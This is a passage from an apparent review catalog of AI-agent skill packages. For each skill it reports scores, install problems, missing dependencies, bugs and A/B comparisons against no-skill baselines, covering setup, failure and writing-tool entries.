- **Computer Use (DeepChat)** [setup, 6.4/10] — Operates native desktop apps through DeepChat's built-in Computer Use tools. Repo: https://github.com/ThinkInAIXYZ/deepchat. Card: https://skillproof.dev/skills/computer-use. What we found: This is ThinkInAIXYZ's DeepChat skill (NOT the computer-use MCP): its CUA tools (list_apps/launch_app/get_window_state/click/zoom) are injected by the DeepChat app runtime plus its bundled helper (macOS 'DeepChat Computer Use.app', OS Accessibility/Screen-Recording grants), so a plain skill-file install copies only markdown and nothing in it is executable outside DeepChat. Verbatim clone+cp worked and the strict-YAML frontmatter plus all four linked docs are present. In the A/B, the skill faithfully reproduced DeepChat's specific snapshot/act/re-snapshot loop, but the base arm produced an equally correct plan using the real desktop-automation tools actually available in this harness, so the skill's tool-set knowledge added no materially more executable plan here.
- **Generate 2D Map** [setup, 6.4/10] — Generates production-oriented 2D game maps with collision and art-direction control. Repo: https://github.com/0x0funky/agent-sprite-forge. Card: https://skillproof.dev/skills/generate2dmap. What we found: Platform mismatch: the skill is image-generation-first, and its upstream README labels it Codex/Grok only (install paths ~/.codex/skills and ~/.grok/skills) — NOT ~/.claude/skills as the card claims — and Claude Code has no built-in image_gen/view_image tool pair its primary pipeline requires. We tested on the one checkable, non-image artifact it supports (the existing_assets tilemap branch): building a Tiled orthogonal 8x6 map JSON. A/B showed no advantage — skill and base both produced valid maps with byte-identical ground/collision tile arrays and identical spawn/exit object metadata, so the skill's structured workflow did not beat direct generation on this task.
- **Meeting Facilitate** [setup, 6.4/10] — Runs multi-agent meetings — needs the 168-tool AI Team OS server behind it Repo: https://github.com/CronusL-1141/AI-company. Card: https://skillproof.dev/skills/meeting-facilitate. What we found: Copying this skill folder into ~/.claude/skills installs a playbook with nothing underneath it: every one of its seven steps calls meeting_create, meeting_attendance_check or meeting_conclude, which only exist inside the ai-team-os MCP server. Installed that server for real (168 tools, all 10 meeting_* among them), started its FastAPI backend, and the documented behaviour held up — meeting_create returned a dispatch_plan with ready-to-paste Agent params, and conclude was correctly rejected with HTTP 400 and missing:[a1,a2] until participants had spoken. Two documented details did not hold: the impersonation audit trail the skill warns about crashes with "'meeting.impersonation' is not a valid EventType", and the design doc it points you to does not exist in the repo. Most of its advice is also already delivered by the tools themselves, whose responses ship their own dispatch_instructions and attendance_check_command.
- **Regulatory Analysis** [setup, 6/10] — Checks documents against FINRA, SEC, Fed, and CFPB rules and flags compliance gaps. Repo: https://github.com/open-gitagent/opengap. Card: https://skillproof.dev/skills/regulatory-analysis. What we found: Its allowed-tools: search-regulations frontmatter references a 'live regulatory database' search tool whose implementation script exists nowhere in the repo -- an orphaned dependency left behind when the skill was carved out of OpenGAP's larger example-agent bundle -- so it was tested only on the standalone document-analysis part, which works without the missing tool. Verbatim git clone + cp installs cleanly and the SKILL.md YAML parses strictly. A/B on a planted broker-dealer onboarding excerpt was a wash: the skill produced a well-structured report (severity + confidence + disclaimer) but the base arm without the skill matched it and actually caught more -- a fourth margin-disclosure finding plus deeper citations (FINRA 3260, Reg T, Form CRS, 10b-5) and correct CFPB non-applicability scoping.
- **SkillForge** [setup, 6/10] — Indexes your installed skills and triages any input into use / improve / create Repo: https://github.com/tripleyak/SkillForge. Card: https://skillproof.dev/skills/skillforge. What we found: Task on a real directory of 469 installed skills: 'which of my skills translates blog posts into other languages for SEO?'. Baseline run (grep -rl 'translat' on ~/.claude/skills/*/SKILL.md) yielded 32 hits, the correct answer seo-translator was in 20th position without any ranking. The skill worked properly: discover_skills.py indexed 469 skills in 0.87 s, triage_skill_request.py raised seo-translator to 2nd place — but with 20% against generic 'seo' at 35% (match only by substring in name) and returned CLARIFY instead of USE_EXISTING, although the exact skill is in the system. Worse: for 'do I have a skill for database migrations', it confidently recommends b2b-local-outreach at 82% — simply because the word 'database' appears in the description; for 'help me debug this TypeError' — chatcrystal-debug-recall at 96% by substring 'debug'. Its own documented examples are not reproducible: SKILL.md promises routing to debug skills for 'TypeError: Cannot read property 'map'', but we actually get CREATE_NEW with a top match of 31%. Validators measure not quality, but conformity to their template: quick_validate.py issued 'Skill is valid!' for a fresh skeleton with 21 TODOs in the body and for a skill with a broken link to a non-existent references/nope.md, while validate-skill.py scored SkillForge itself 82/92, but working symbiotic-onboard 8/16 and fable-domain 6/15. Pros honestly exist: 16 attached pytest tests pass, scaffolder and index work, request type classifier is correct in 5 out of 6 cases.
- **OpenTSC** [setup, 6/10] — Local CLI vault for contact intelligence: event graph works, judgment does not Repo: https://github.com/opentsc/opentsc. Card: https://skillproof.dev/skills/opentsc. What we found: The CLI machinery is real: soul-init built the vault, event-add recorded admiralty-rated events, and event-timeline and identity-resolve worked from bare python3. But the flagship K7 judgment engine returned a default 0.5 'derived from 0 events' after two linked events about the same person — a plain no-skill answer read the same evidence better. The advertised zero-dependency memory index errors until you pip install zvec, and its lite 'semantic' backend scored the on-topic event 0.0 for the query. validate also fails on the skill's own freshly initialized vault (missing shell/modules/_registry.md).
- **HTML PPT: Course Module** [setup, 5.6/10] — Builds an HTML training-module deck with sidebar objectives and an MCQ self-check. Repo: https://github.com/nexu-io/open-design. Card: https://skillproof.dev/skills/html-ppt-course-module. What we found: Documented install leaves the skill dead standalone: all 9 cross-referenced files (master html-ppt SKILL.md, course-module template, base.css/runtime.js/fonts/animations) live in a sibling folder the install command never copies — you must also copy design-templates/html-ppt (8.6MB) alongside it. The frontmatter description hardcodes one example scenario (hospitality onboarding) instead of the generic course-module capability, and its 'html deck'/'html slides' triggers collide with ~20 sibling html-ppt-* sub-skills. Once rescued it delivers: in an A/B test the skill deck clearly beat a capable no-skill baseline on presentation runtime (presenter mode with speaker notes, overview, theme cycling, deep links) and on the advertised warm-paper/Playfair visual system, though the baseline still produced an acceptable compliant deck.
- **Flow Spec** [setup, 5.2/10] — Authors a structured NLSpec from multi-AI research and consensus. Repo: https://github.com/nyldn/claude-octopus. Card: https://skillproof.dev/skills/flow-spec. What we found: The verbatim card install only copies SKILL.md, but the skill's enforced execution contract hardcodes mandatory calls to ~/.claude-octopus/plugin/scripts/{orchestrate.sh,state-manager.sh,helpers/check-providers.sh} which nothing in the card's install ever creates — that directory layout only comes from the supported `claude plugin install octo@nyldn-plugins` marketplace path — and STEP 2 hard-requires a Codex/Gemini/Antigravity CLI with the skill's own Prohibited Actions forbidding any fallback to direct Claude research. We could only test the standalone-checkable sub-part: the STEP-6/7 NLSpec synthesis + completeness scoring from a research stand-in. In that A/B the skill produced a 6/6-complete spec equal in quality to the no-skill base (which was marginally richer on edge cases), and since the multi-AI probe that is meant to differentiate it never ran, the skill delivered no material advantage over a direct write.
- **Skill Builder** [fails, null/10] — Routes docs/repo/PDF/video sources to the Skill Seekers MCP server to auto-build AI skills. Repo: https://github.com/yusufkaraaslan/Skill_Seekers. Card: https://skillproof.dev/skills/skill-builder. What we found: Every tool call depends on a separate MCP server that isn't bundled or auto-connected, and it never mentions that prerequisite - a plain manual approach produced a usable artifact, this one produced none.
- **Hyperplan** [fails, null/10] — Runs adversarial multi-agent debate to stress-test a plan before finalizing it. Repo: https://github.com/code-yeongyu/oh-my-openagent. Card: https://skillproof.dev/skills/hyperplan. What we found: Hard dependency on oh-my-openagent's proprietary team-mode: the skill's own preconditions require team_* orchestration tools and a 'sisyphus' lead agent that do not exist in Claude Code, so invoking it dead-ends immediately with an instruction to install and configure a different CLI (opencode + oh-my-opencode.jsonc). Install is mechanically clean and the trigger phrases are specific and well-scoped, but the skill produces no planning output whatsoever on this platform. Output scored 1: it cannot execute, so it cannot beat any baseline.
- **Implementing LLMs: LitGPT** [fails, null/10] — Implements and fine-tunes LLMs with LitGPT's clean, single-file architectures. Repo: https://github.com/Orchestra-Research/AI-Research-SKILLs. Card: https://skillproof.dev/skills/implementing-llms-litgpt. What we found: Installed cleanly (frontmatter parses, all four reference files present) and triggers accurately on LitGPT fine-tuning/architecture prompts, though its multi-GPU pretraining workflow overlaps the repo's separate torchtitan skill. A/B on a LoRA fine-tune + merge + inference task: the skill's LoRA flags were correct, but by faithfully following SKILL.md it inherited two CLI inaccuracies vs the real litgpt v0.5.13 CLI — it emitted a nonexistent `merge_lora --out_dir` flag and the outdated `--train.learning_rate` (real CLI uses in-place merge and `--optimizer.lr`), both of which the no-skill base got right, so the skill produced a less correct result than base general knowledge. Full workflow needs a GPU plus gated multi-GB model downloads (HF token/license); tested here only on the checkable code/config artifact.
- **AlphaEar Predictor** [fails, null/10] — Forecasts finance market time series using the Kronos model with news adjustments. Repo: https://github.com/RKiding/Awesome-finance-skills. Card: https://skillproof.dev/skills/alphaear-predictor. What we found: The skill's own Example Usage is broken: the import is wrong (docs say scripts.utils.kronos_predictor but the file is scripts/kronos_predictor.py) and it calls a nonexistent predictor.predict(ticker, horizon) — the class only exposes get_base_forecast(df, lookback, pred_len, news_text), which takes a pandas OHLC DataFrame, not a ticker string. This confirms a prior SkillProof finding. Verbatim install (clone + cp) and YAML frontmatter are fine, but running the skill also needs uninstalled heavy deps (sentence-transformers, scikit-learn, loguru) plus a Kronos base-model + embedder download. Any forecast output is a code-correctness artifact only, not investment guidance.
- **Confluence** [fails, null/10] — Confluence download/upload/convert toolkit for Claude Code -- but bold and tables convert incorrectly. Repo: https://github.com/SpillwaveSolutions/confluence-skill. Card: https://skillproof.dev/skills/confluence. What we found: Ran the bundled convert_markdown_to_wiki.py on a real sample doc: it silently turns **bold** text into wiki _italic_ (a genuine regex bug, not a style choice) and leaves standard GitHub-style leading-pipe tables completely unconverted, despite SKILL.md explicitly listing 'tables' among the elements it handles; everything else (headings, italics, links, lists, code blocks) converted correctly.
- **Agentic Search** [fails, null/10] — Grok+Tavily/Firecrawl deep research skill with citations and rerankable sessions Repo: https://github.com/appautomaton/webmaton. Card: https://skillproof.dev/skills/agentic-search. What we found: Real run on a clean box: `python3 scripts/agentic_search.py --query test` failed cleanly with `GROK_API_URL is not set` — the skill needs a paid xAI Grok key (plus optional Tavily/Firecrawl keys) and `uv`/Python 3.13 before it produces a single result, so a plain WebSearch beat it 1-0 on this machine.
- **Apple Notes** [fails, null/10] — CLI-driven Apple Notes management via the memo tool, but note creation is interactive-only Repo: https://github.com/project-nomos/nomos. Card: https://skillproof.dev/skills/apple-notes. What we found: Ran it live against the real Notes.app: listing/search worked perfectly, but the documented 'quick add with title' syntax (`memo notes -a "Title"`) throws 'unexpected extra argument' on the real 0.6.0 CLI — actual note creation only works through an interactive Vim-based editor requiring a real TTY, which failed headlessly in this test.
- **Optimize Skill** [fails, null/10] — Eval-gated loop to improve a skill's SKILL.md without regressions Repo: https://github.com/Bennyoooo/skillmaxxing. Card: https://skillproof.dev/skills/optimize-skill. What we found: Copying just the skill folder (the only GitHub-only install path available) leaves scripts/optimize.sh unresolved — verified with a real install: `bash scripts/optimize.sh score ...` from inside the copied skill dir exits 127, 'No such file or directory', because the actual script lives one level up at skill-maxing-plugin/scripts/, not inside optimize-skill/.
- **Start Super PM** [fails, null/10] — Router that force-invokes ~30 sibling pm-* skills — installed alone, the very first routed call throws 'Unknown skill.' Repo: https://github.com/konglong87/superPM. Card: https://skillproof.dev/skills/start-super-pm. What we found: Installed only start-super-pm (per its own catalog install command) and asked it to run its documented flow for a new-product idea; following the skill body strictly, it tries to invoke the sibling skill pm-brainstorm and the Skill tool hard-errors with 'Unknown skill: pm-brainstorm' — reproduced live. The repo's own README calls this a '39-skill pack'; you need the other ~38, not just this router.
- **Screenshot Capture** [fails, null/10] — Cross-platform desktop/app/window/region screenshot capture with a macOS permission preflight Repo: https://github.com/VoDaiLocz/KILO-KIT. Card: https://skillproof.dev/skills/screenshot. What we found: Ran the bundled macOS helper live: the mandatory Swift preflight check crashed with a toolchain/SDK mismatch and produced zero output, while a plain `screencapture -x` command (the skill's own documented fallback) succeeded instantly with an identical result.
- **Knack Installer** [fails, null/10] — Installs the Knack skill-management CLI, but the curl URL it documents is dead. Repo: https://github.com/jordan-gibbs/knack-cli. Card: https://skillproof.dev/skills/knack-installer. What we found: Ran the exact command SKILL.md documents (`curl -fsSL https://knack.ai/install`) and it timed out / TLS-failed — knack.ai is not the project's domain. The repo's own README uses getknack.ai, which works and returns a real installer script; following the skill body verbatim leaves the user stuck on step 3.
- **Paper Search With Citation** [fails, null/10] — Curl recipes for a self-hosted Semantic Scholar search + BibTeX API on localhost:8111. Repo: https://github.com/LivXue/paper-search-with-citation. Card: https://skillproof.dev/skills/paper-search-with-citation. What we found: SKILL.md hands you curl commands for http://localhost:8111 but never mentions you must clone the whole repo, sign up for a free Semantic Scholar key, and keep a uvicorn server running; live-tested it end-to-end and both the keyed search and the keyless CrossRef BibTeX lookup failed out of the box.
- **arXiv Search** [fails, null/10] — Wraps the arXiv Python client to pull paper titles, abstracts and URLs Repo: https://github.com/DougTrajano/pydantic-ai-skills. Card: https://skillproof.dev/skills/arxiv-search. What we found: Asked for the top 3 arXiv papers on FlashAttention twice — once with a 20-line stdlib script and once with the bundled skill — and both returned the identical three papers in the identical order (2512.07011v1, 2205.14135v2, 2202.09741v5). The skill needed an undeclared `pip install arxiv` to run at all, emitted 4,792 characters against the baseline's 613, and its formatter only exposes title/abstract/URL, dropping the authors, dates and categories the raw arXiv Atom feed hands you for free. It works and it is safe, but on this task it was a more expensive route to the same answer.
- **Calculator** [fails, null/10] — Stdin-JSON add/subtract/multiply/divide script that Claude beats on its own Repo: https://github.com/EXboys/evotown. Card: https://skillproof.dev/skills/calculator. What we found: Ran the bundled script head-to-head against a no-skill baseline and the skill lost on correctness: it coerces every input to float, so adding 1 to 12345678901234567890 returned 1.2345678901234567e+19 -- the +1 silently vanished -- while the baseline (plain Python, what Claude does anyway) returned the exact 12345678901234567891. Simple cases like 847*293 matched the baseline but arrived wrapped in float noise (248171.0). The skill adds a subprocess round-trip to operations Claude already performs exactly, and its only failure-handling win (division-by-zero JSON error) doesn't offset the precision regression. Install is clean and the docs honestly describe a simple calculator, but a skill that can produce wrong arithmetic is worse than no skill.
- **Skill Init** [fails, null/10] — Onboarding intake for an AI-era job hunt: 7-question skills audit, S0-S3 tier, state file Repo: https://github.com/XBuilderLAB/cheat-on-skill. Card: https://skillproof.dev/skills/skill-init. What we found: Copy-install works and the interactive 7-question intake runs, but this is only the front door of a four-skill system: the signature S0-S3 tier step reads shared-references/role-tiers.md and Phase 3 reads templates/skill-state.template.json, both living two levels ABOVE the skill dir (../../), so a single-dir catalog install leaves them unreachable and those steps silently degrade to plain questions. The repo's own install.sh instead symlinks the whole skills/ folder to keep the shared refs resolvable. The real differentiator the README sells, BOSS Zhipin live recruiting data, is behind a QR-code login, region wall and human-in-the-loop scraper, so no output delta over a plain career-intake baseline could be measured.

## Writing & Content (112 tested)
- **Humanizer** [pass, 9.6/10] — Strips 33 documented AI-writing tells from text via a draft-audit-final rewrite loop. Repo: https://github.com/blader/humanizer. Card: https://skillproof.dev/skills/humanizer. What we found: Ran a sample AI-sounding product-launch paragraph through the draft→audit→final loop: the draft still had a stray em dash and a generic closer, and the mandatory second pass caught and fixed both — a step a single-pass edit skipped entirely.
- **Blog Outline Generator** [pass, 9.6/10] — SERP-informed H2/H3 outline generator; skeleton only, not a full content brief. Repo: https://github.com/AgriciDaniel/claude-blog. Card: https://skillproof.dev/skills/blog-outliner. What we found: Live-tested on 'best project management software for remote teams': real SERP research surfaced the market's dominant 'best-for-X' comparison-table-plus-FAQ pattern (confirmed by fetching a competitor's actual H2/H3 structure), which the skill folded straight into the outline's content-gap section. A generic outline written without that research never would have known the pattern existed. (Listed here under our older name; the skill's own name is "Blog Outline Generator".)
- **Academic Paper Reviewer** [pass, 9.6/10] — Simulates rigorous academic peer review across originality, methodology, results, and writing. Repo: https://github.com/zebbern/claude-code-guide. Card: https://skillproof.dev/skills/academic-paper-reviewer. What we found: Turned a freeform review paragraph into a structured 4-dimension writeup with Major/Minor tags and a priority table - markedly more actionable than the unguided version.
- **PR Writing Review** [pass, 9.6/10] — Extracts before/after writing fixes and style lessons from GitHub PR review comments. Repo: https://github.com/evalstate/fast-agent. Card: https://skillproof.dev/skills/pr-writing-review. What we found: Against a real merged PR, its extraction script pulled 21 suggestion blocks and correctly tracked the target file through 3 renames; a raw API call returned the same comments flat and unstructured.
- **Chapter Writing** [pass, 9.6/10] — Outline-first chapter drafting that reads your whole story bible and updates continuity after writing. Repo: https://github.com/danjdewhurst/story-skills. Card: https://skillproof.dev/skills/chapter-writing. What we found: Ran a real side-by-side on a scratch story project: the no-skill baseline chapter opened with 'Rain hammered the tin roofs...' — the exact cliche the skill's own writing-guidelines.md tells you to avoid — while the skill-guided version opened on dialogue, planted a tracked setup/payoff in continuity/promises/_index.md, and left a full matching set of updated indices behind.
- **Article Writing** [pass, 9.6/10] — Bans 'rapidly evolving landscape' and 'game-changer', forces proof-first sections in long-form drafts Repo: https://github.com/mturac/everything-openai-codex. Card: https://skillproof.dev/skills/article-writing. What we found: Wrote the same Python-venv guide intro twice: the baseline opened with 'in today's rapidly evolving software landscape' and closed on 'let's dive in!' — exactly the two patterns the skill's own banned list names — while the skill version led with a runnable command and cut both.
- **Doc Co-Authoring** [pass, 9.6/10] — Three-stage doc-writing workflow — context dump, section-by-section drafting, then a fresh-Claude reader test — instead of drafting blind. Repo: https://github.com/ThinkInAIXYZ/deepchat. Card: https://skillproof.dev/skills/doc-coauthoring. What we found: Asked for help with a monorepo decision doc: unguided Claude jumps straight into drafting a doc filled with invented specifics (team size, CI system) it doesn't actually know; following the skill it stops, offers the 3-stage workflow, and asks 5 concrete context questions before writing a single section.
- **AI Video Prompt Director** [pass, 9.6/10] — Forces a mandatory dramaturgy + universal-rules + model-file reading order before writing any AI video prompt Repo: https://github.com/smixs/visual-skills. Card: https://skillproof.dev/skills/video. What we found: Fed it a bare 'detective in a rainy alley' prompt request: the mandatory dramaturgy + universal-rules reading order forced a motivated camera move, a specific physical micro-action, and Seedance's --resolution/--duration syntax, while an unguided baseline defaulted to generic 'cinematic masterpiece' adjective soup with no camera or duration discipline.
- **Chinese Reference Formatter** [pass, 9.6/10] — Verified-metadata GB/T 7714 bibliography and BibTeX from a bare title. Repo: https://github.com/Zechang-Xiong/chinese-reference-formatter-skill. Card: https://skillproof.dev/skills/chinese-reference-formatter-skill. What we found: Ran the bundled format_reference.py on a real paper's metadata and got a correctly GB/T 7714-formatted entry plus BibTeX in one shot — author truncation to '等/et al', no-period initials, and the language-dependent comma style all matched the rules file exactly, details a from-memory attempt got wrong.
- **OneCite** [setup, 9.6/10] — Verifies references against live academic APIs and emits clean, complete BibTeX. Repo: https://github.com/HzaCode/OneCite. Card: https://skillproof.dev/skills/onecite. What we found: Ran two real DOIs through it live: got back correct, fully-formed BibTeX (author, journal, volume, pages, abstract, DOI, URL) pulled from actual metadata APIs, not memorized text -- but the doctor/benchmark/templates commands the SKILL.md leans on only exist in an editable repo-checkout install, not the current PyPI release.
- **Workshop Question Framing** [pass, 9.6/10] — Turns a workshop topic into curiosity-driven opening questions that hook learners before you teach. Repo: https://github.com/Jamie-BitFlight/claude_skills. Card: https://skillproof.dev/skills/workshop-question-framing. What we found: Ran a real workshop scenario (junior-dev microservices talk): the skill's method explicitly bans 'what do you know about X' framing and forces a prediction/commitment moment before teaching, producing a materially more structured, pedagogically grounded set of questions than an unguided attempt.
- **Brainstorm OKRs** [pass, 9.6/10] — Drafts three alternative Q-quarter OKR sets with rationale, ready for a team strategy discussion. Repo: https://github.com/phuryn/pm-skills. Card: https://skillproof.dev/skills/brainstorm-okrs. What we found: Ran it against a Growth-team Q3 conversion goal: instead of one mixed metric list, it produced three genuinely distinct OKR framings (activation quality, ICP mix, funnel friction), each with exactly 3 measurable KRs and a rationale, and it flagged which KRs need analytics that aren't built yet.
- **Soul Grader** [pass, 9.6/10] — Rubric-driven grader/rewriter for Hermes Agent SOUL.md identity files. Repo: https://github.com/cobibean/soul-grader-skill. Card: https://skillproof.dev/skills/soul-grader. What we found: Fed it a toy SOUL.md full of generic filler ('be proactive', 'use best practices', 'never hallucinate') and it caught every phrase verbatim against its own banned-wording list, then scored it ~10/100 'Needs rewrite' with a full category breakdown instead of a vague thumbs-up.
- **AI-Authored Content Coherence** [pass, 9.6/10] — Keeps LLM/procedurally-generated game content (lore, NPCs, history) from blurring into sameness. Repo: https://github.com/rondorkerin/gamestack. Card: https://skillproof.dev/skills/ai-authored-content-coherence. What we found: Asked for a plan to keep 500 LLM-generated NPC biographies from blurring together; the skill's oatmeal test + never-violate fact bible + static-backbone/procedural-tissue split produced a genuinely more actionable architecture (named techniques, concrete test-for criteria) than the generic 'use a template and a style guide' baseline, and the docs openly flag most of their own rules as sourced-but-unverified rather than overselling certainty.
- **Writers Room Story Engine** [pass, 9.6/10] — Story-architecture orchestrator: diagnoses phase, forces foundation-before-prose, routes to 5 modular story skills. Repo: https://github.com/jackterror/writers-room-story-engine. Card: https://skillproof.dev/skills/writers-room-story-engine. What we found: Ran a real A/B on a locksmith-finds-her-own-childhood-bedroom premise: the baseline draft was a competent but passive-protagonist coincidence reveal with no character change; forcing the skill's want/need/lie/ghost engine and therefore/but beat structure turned the same premise into a scene with an actual goal-flip turn and a causally-earned ending — a clear, concrete quality jump, not just more words.
- **Book Editor** [pass, 9.6/10] — Real docx track-changes and comments editing for manuscripts, via raw OOXML surgery Repo: https://github.com/lfurze/claude-skills. Card: https://skillproof.dev/skills/book-editor. What we found: Built a real 3-paragraph .docx and ran the skill's actual unzip/w:ins+w:del/comments.xml/rezip recipe by hand: produced a valid docx with genuine Word-readable track changes and a comment (confirmed via well-formed-XML checks and raw-XML inspection); the same task done the naive way — python-docx text overwrite, which has no track-changes API at all — silently destroyed the original text with zero accept/reject trail for the author.
- **Redaktura (Russian Text Editing)** [pass, 9.6/10] — Sarycheva-method Russian copyediting: meaning and structure before wording. Repo: https://github.com/N1arko/redaktura-skills. Card: https://skillproof.dev/skills/redaktura. What we found: Ran a canned-corporate Russian paragraph through it: baseline editing just trimmed words, but the skill's audit caught the unsupported claim ("многие сотрудники отмечают динамику" — which employees, what dynamic?) and forced a question back to the user instead of inventing a number.
- **AER Consistency** [pass, 9.6/10] — Runs a 7-part mechanical integrity audit on near-final AER/AEJ manuscripts: numbers, sample sizes, units, refs, citations. Repo: https://github.com/brycewang-stanford/AER-Skills. Card: https://skillproof.dev/skills/aer-consistency. What we found: Actually ran the bundled `audit_manuscript.py` on a throwaway .tex/.bib pair with 3 planted bugs (uncited bib key, unused bib entry, dangling \ref) — it caught all 3 correctly with exit code 1, and separately caught a claim-ledger row pointing at a nonexistent label.
- **Resume Writing** [pass, 9.6/10] — Research-backed resume bullet rules (XYZ formula, ATS pass-rate word choice, keyword front-loading) with citations for every claim. Repo: https://github.com/resumx/skills. Card: https://skillproof.dev/skills/resume-writing. What we found: Rewrote a generic customer-support-manager resume section two ways: a baseline pass only swapped a few verbs and left a soft-skills dump in place, while the skill-guided pass restructured every bullet with the XYZ formula, front-loaded the target JD's keywords, deleted the soft-skills section per its explicit rule, and -- notably -- used bracketed placeholders instead of fabricating metrics it didn't have.
- **Slop Check** [pass, 9.6/10] — Structured AI-slop audit: quotes every violation, scores 8 dimensions, gives a PASS/REWRITE verdict Repo: https://github.com/allanta8/slop-check. Card: https://skillproof.dev/skills/slop-check. What we found: Audited the same slop-filled paragraph twice: an unguided review caught about 5 cliches and gave a rough 3-4/10, while following the skill verbatim quoted all 12 Tier-1 violations by name, ran the 3 quality gates (all FAIL), scored 8 dimensions at 1.6/10 overall, and closed with a REWRITE verdict plus 3 concrete rewrite directions.
- **Writing Humanizer** [pass, 9.6/10] — Strips AI writing tells from Traditional Chinese (and general) prose with a two-pass rewrite + checklist. Repo: https://github.com/shyuan/writing-humanizer. Card: https://skillproof.dev/skills/writing-humanizer. What we found: Ran a genuinely AI-sounding Traditional Chinese paragraph about Taipei's Dihua Street through both an unguided rewrite and the skill's two-round process; the skill version killed every flagged tell (不僅是…更是, 三段式列舉, 升華結尾, 憑藉…精神) and replaced the ending with a concrete first-person scene, while the unguided baseline kept generic tells like '見證了歷史' and '文化地標' that the skill's own checklist exists specifically to catch.
- **Founder Content System** [pass, 9.6/10] — Turns a ship/idea into platform-native Twitter, LinkedIn, and Xiaohongshu posts Repo: https://github.com/PHY041/claude-agent-skills. Card: https://skillproof.dev/skills/founder-content. What we found: Fed both baselines the same 'shipped GitHub-to-post automation' update: the unguided baseline used exactly the banned phrases the skill's own voice rules forbid ('game-changing', 'excited to announce', an emoji-laden CTA), while the skill-guided version led with a real number (20 min to under 2 min) and one takeaway per the 5-question build-in-public structure.
- **AI Tells Review** [pass, 9.6/10] — Structural AI-prose review: four-family rubric (rhythm, hedging, rhetorical reflexes, performative emphasis) with line-cited fixes. Repo: https://github.com/NickCrew/Claude-Cortex. Card: https://skillproof.dev/skills/ai-tells-review. What we found: Fed a paragraph seeded with real tells ('leverages cutting-edge', 'proves the framework' repeated three times, Furthermore/Additionally/Ultimately openers) through both passes: unguided editing flags the buzzwords informally, while the skill produces a family-tagged report (Contrastive bold, Coined-phrase tic, Manufactured both-sidesing) with a reads-very-AI verdict and a rewrite explicitly gated on user consent.
- **Evidence Review** [pass, 9.6/10] — Keeps literature-review claims traceable to evidence status so adjacent-domain data can't masquerade as validation. Repo: https://github.com/yha9806/academic-writing-toolkit. Card: https://skillproof.dev/skills/evidence-review. What we found: Ran a 3-source mental-health-chatbot review task both ways: the baseline blurred an RCT, a bare abstract, and an unpublished thesis into one 'validated tool' claim, while the skill-driven run tagged each source's evidence status, refused to let the abstract/thesis support the clinical claim, and logged the missing engagement-to-outcome link as an open gap instead of inferring it.
- **Human Voice** [pass, 9.6/10] — Rewrites AI-sounding prose to read human, with a bundled linter that scores the before/after live. Repo: https://github.com/stephenoffer/human-voice. Card: https://skillproof.dev/skills/human-voice. What we found: Ran the bundled scanner live on a deliberately slop-filled paragraph and its hand-rewrite: score dropped from 225.7 (strong-tell, 21 flagged tells: filler, rule-of-three, aidiolect phrases, antithesis, uniform openers) to 0.0 (clean), confirmed with the tool's own --baseline diff flag -- a real, measured improvement, not a vibe.
- **Ape Review Blog** [pass, 9.6/10] — Streams inline, quote-and-fix findings against a strict 20-check engineering-blog rubric. Repo: https://github.com/arpitbbhayani/ape-skills. Card: https://skillproof.dev/skills/ape-review-blog. What we found: Ran a real A/B on a planted-issue draft: the baseline gave ~6 generic bullet notes, the skill streamed 13+ quote-and-fix findings catching things the baseline missed entirely — grouped contractions, a business-sensitive $2.3M figure flagged for [CONFIRM PUBLIC + CORRECT], and a late-introduced 'RCS' acronym inconsistency.
- **Reddit Writing Style** [pass, 9.6/10] — Turns a corpus of your Reddit posts into a cited, evidence-backed writing-voice guide. Repo: https://github.com/agamjn/rising. Card: https://skillproof.dev/skills/reddit-writing-style. What we found: Fed it a synthetic 6-post corpus: the baseline produced a mushy paragraph of generic adjectives, while the skill produced a cited, section-by-section style guide that correctly caught a real subreddit-specific capitalization shift and honestly omitted vocabulary claims it couldn't back with 2+ examples instead of padding the list.
- **Karpathy Article Writing** [pass, 9.6/10] — Writes technical blog posts in Andrej Karpathy's first-person, build-it-then-explain-it voice. Repo: https://github.com/IrtezaAsadRizvi/article-writing-skills. Card: https://skillproof.dev/skills/karpathy-article-writing. What we found: Single self-contained SKILL.md, no bundled scripts or external references to break; ran a real before/after (naive transformer-vs-RNN benchmark writeup) and the skill version was unmistakably Karpathy-register -- first person, one exact 3x figure, a bucket-brigade analogy, a shrug-hedge -- versus the baseline's generic 'in today's rapidly evolving field' third-person filler.
- **RedBook Creator** [pass, 9.6/10] — Turns raw photos/video/text into a formula-driven Xiaohongshu (小红书) post, edited video, and local preview. Repo: https://github.com/BoomSky0416/redbook-creator. Card: https://skillproof.dev/skills/redbook-creator. What we found: Ran the real text-to-post pipeline for a tomato-and-egg recipe: WebSearch for trending-title patterns, formula-built title+copy with correct emoji/tag counts, and a live run of generate_preview.py that produced a working phone-frame HTML mockup - a baseline pass without the skill produced a flat recipe blurb with none of that platform structure. The auto-upload script fills the post form via Selenium but stops short of clicking publish, leaving that to the user, exactly as documented.
- **Voice Calibration** [pass, 9.6/10] — Interactively learns a user's writing voice and saves a reusable style profile. Repo: https://github.com/raulpetruta/voice-calibration-plugin. Card: https://skillproof.dev/skills/voice-calibration. What we found: Ran a real 4-sample A/B: the skill's mandatory 7-dimension analysis + template forced 8 exact quoted phrases and 6 concrete anti-pattern guardrails, while the baseline collapsed into generic adjectives like 'casual and humorous' that could describe almost any writer.
- **JD CV Grill** [pass, 9.6/10] — Interviews you one question at a time to tailor a resume to a JD without inventing evidence. Repo: https://github.com/mikezhangyl/jd-cv-grill. Card: https://skillproof.dev/skills/jd-cv-grill. What we found: Given a JD requiring 'distributed payment-processing systems' against a candidate note that only described an internal order system, a direct baseline rewrite quietly tacked on 'payment processing' as a skill anyway — following the skill's evidence-first flow instead refused that claim and generated one targeted question to verify it before writing anything.
- **Ghost Blog** [pass, 9.6/10] — Stdlib-only Ghost Admin/Content API client — JWT auth and post CRUD verified live against a mock server. Repo: https://github.com/georgeguimaraes/claude-code-ghost. Card: https://skillproof.dev/skills/ghost-blog. What we found: Stood up a mock Ghost API server on 127.0.0.1 and ran the bundled ghost_api.py verbatim per the SKILL.md's documented pattern: JWT auth, create-post with source=html, and an update-then-read-back round trip all worked correctly on the first try, including the Unsplash attribution-caption helper.
- **LinkedIn Post Max** [pass, 9.6/10] — Drafts LinkedIn posts in a captured author voice, with clipboard delivery and voice learning. Repo: https://github.com/noah-vl/linkedin-post-max. Card: https://skillproof.dev/skills/linkedin-post-max. What we found: Ran a real create-post pass against a hand-built Jane voice file: skill output stripped every AI tell the baseline produced (emoji, hashtags, 'in today's fast-paced world', rhetorical-question close) and delivered 3 voice-consistent variations plus a working pbcopy clipboard handoff.
